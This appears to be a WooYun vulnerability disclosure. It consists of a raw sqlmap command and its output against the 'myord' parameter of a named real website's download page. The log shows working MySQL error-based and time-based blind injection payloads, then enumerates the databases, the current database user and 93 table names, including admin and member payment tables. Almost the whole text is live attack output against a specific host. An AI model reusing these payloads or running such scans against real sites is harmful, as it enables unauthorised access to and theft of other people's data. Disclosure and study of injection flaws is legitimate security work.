WooYun.org

sqlmap.py -u "http://zzjz2.edong.com/down/index.php?author=&c
atid=0&key=&myord=1%27%22&myshownums=&page=1&showtj=" -D zzjz2phpweb --tables

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: myord (GET)
    Type: error-based
    Title: MySQL >= 5.0 error-based - Parameter replace
    Payload: author=&catid=0&key=&myord=(SELECT 3094 FROM(SELECT COUNT(*),CONCAT(0x7170766271,(SELECT (ELT(3094=3094,1))),0x71717a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&myshownums=&page=1&showtj=
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace (SELECT)
    Payload: author=&catid=0&key=&myord=(SELECT * FROM (SELECT(SLEEP(5)))IxSJ)&myshownums=&page=1&showtj=
---
web application technology: Apache, PHP 5.2.17
back-end DBMS: MySQL 5.0
current database:    'zzjz2phpweb'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: myord (GET)
    Type: error-based
    Title: MySQL >= 5.0 error-based - Parameter replace
    Payload: author=&catid=0&key=&myord=(SELECT 3094 FROM(SELECT COUNT(*),CONCAT(0x7170766271,(SELECT (ELT(3094=3094,1))),0x71717a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&myshownums=&page=1&showtj=
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace (SELECT)
    Payload: author=&catid=0&key=&myord=(SELECT * FROM (SELECT(SLEEP(5)))IxSJ)&myshownums=&page=1&showtj=
---
web application technology: Apache, PHP 5.2.17
back-end DBMS: MySQL 5.0
available databases [3]:
[*] information_schema
[*] test
[*] zzjz2phpweb
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: myord (GET)
    Type: error-based
    Title: MySQL >= 5.0 error-based - Parameter replace
    Payload: author=&catid=0&key=&myord=(SELECT 3094 FROM(SELECT COUNT(*),CONCAT(0x7170766271,(SELECT (ELT(3094=3094,1))),0x71717a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&myshownums=&page=1&showtj=
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace (SELECT)
    Payload: author=&catid=0&key=&myord=(SELECT * FROM (SELECT(SLEEP(5)))IxSJ)&myshownums=&page=1&showtj=
---
web application technology: Apache, PHP 5.2.17
back-end DBMS: MySQL 5.0
current user:    'zzjz2phpweb@localhost'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: myord (GET)
    Type: error-based
    Title: MySQL >= 5.0 error-based - Parameter replace
    Payload: author=&catid=0&key=&myord=(SELECT 3094 FROM(SELECT COUNT(*),CONCAT(0x7170766271,(SELECT (ELT(3094=3094,1))),0x71717a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&myshownums=&page=1&showtj=
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace (SELECT)
    Payload: author=&catid=0&key=&myord=(SELECT * FROM (SELECT(SLEEP(5)))IxSJ)&myshownums=&page=1&showtj=
---
web application technology: Apache, PHP 5.2.17
back-end DBMS: MySQL 5.0
Database: zzjz2phpweb
[93 tables]
+--------------------------+
| pwn_advs_duilian         |
| pwn_advs_lb              |
| pwn_advs_lbgroup         |
| pwn_advs_link            |
| pwn_advs_linkgroup       |
| pwn_advs_logo            |
| pwn_advs_movi            |
| pwn_advs_pic             |
| pwn_advs_pop             |
| pwn_advs_text            |
| pwn_base_admin           |
| pwn_base_adminauth       |
| pwn_base_adminmenu       |
| pwn_base_adminrights     |
| pwn_base_border          |
| pwn_base_coltype         |
| pwn_base_config          |
| pwn_base_pageset         |
| pwn_base_pagetemp        |
| pwn_base_plus            |
| pwn_base_plusdefault     |
| pwn_base_plusplan        |
| pwn_base_plusplanid      |
| pwn_base_plustemp        |
| pwn_base_version         |
| pwn_comment              |
| pwn_comment_cat          |
| pwn_comment_config       |
| pwn_down_cat             |
| pwn_down_con             |
| pwn_down_config          |
| pwn_down_downlog         |
| pwn_down_pages           |
| pwn_down_pcat            |
| pwn_down_proj            |
| pwn_down_prop            |
| pwn_maq                  |
| pwn_maq_cat              |
| pwn_maq_config           |
| pwn_member               |
| pwn_member_buylist       |
| pwn_member_cat           |
| pwn_member_centlog       |
| pwn_member_centrule      |
| pwn_member_centset       |
| pwn_member_config        |
| pwn_member_defaultrights |
| pwn_member_fav           |
| pwn_member_friends       |
| pwn_member_group         |
| pwn_member_msn           |
| pwn_member_notice        |
| pwn_member_nums          |
| pwn_member_onlinepay     |
| pwn_member_pay           |
| pwn_member_paycenter     |
| pwn_member_regstep       |
| pwn_member_rights        |
| pwn_member_secure        |
| pwn_member_type          |
| pwn_member_zone          |
| pwn_menu                 |
| pwn_menu_group           |
| pwn_news_cat             |
| pwn_news_con             |
| pwn_news_config          |
| pwn_news_downlog         |
| pwn_news_pages           |
| pwn_news_pcat            |
| pwn_news_proj            |
| pwn_news_prop            |
| pwn_page                 |
| pwn_page_group           |
| pwn_tools_code           |
| pwn_tools_photopolldata  |
| pwn_tools_photopollindex |
| pwn_tools_pollconfig     |
| pwn_tools_polldata       |
| pwn_tools_pollindex      |
| pwn_tools_statbase       |
| pwn_tools_statcome       |
| pwn_tools_statcount      |
| pwn_tools_statdate       |
| pwn_webmall_config       |
| pwn_webmall_goods        |
| pwn_webmall_iorder       |
| pwn_webmall_modules      |
| pwn_webmall_spool        |
| pwn_webmall_spoolmod     |
| pwn_webmall_tempcat      |
| pwn_webmall_temptype     |
| pwn_webmall_tmod         |
| pwn_webmall_torder       |
+--------------------------+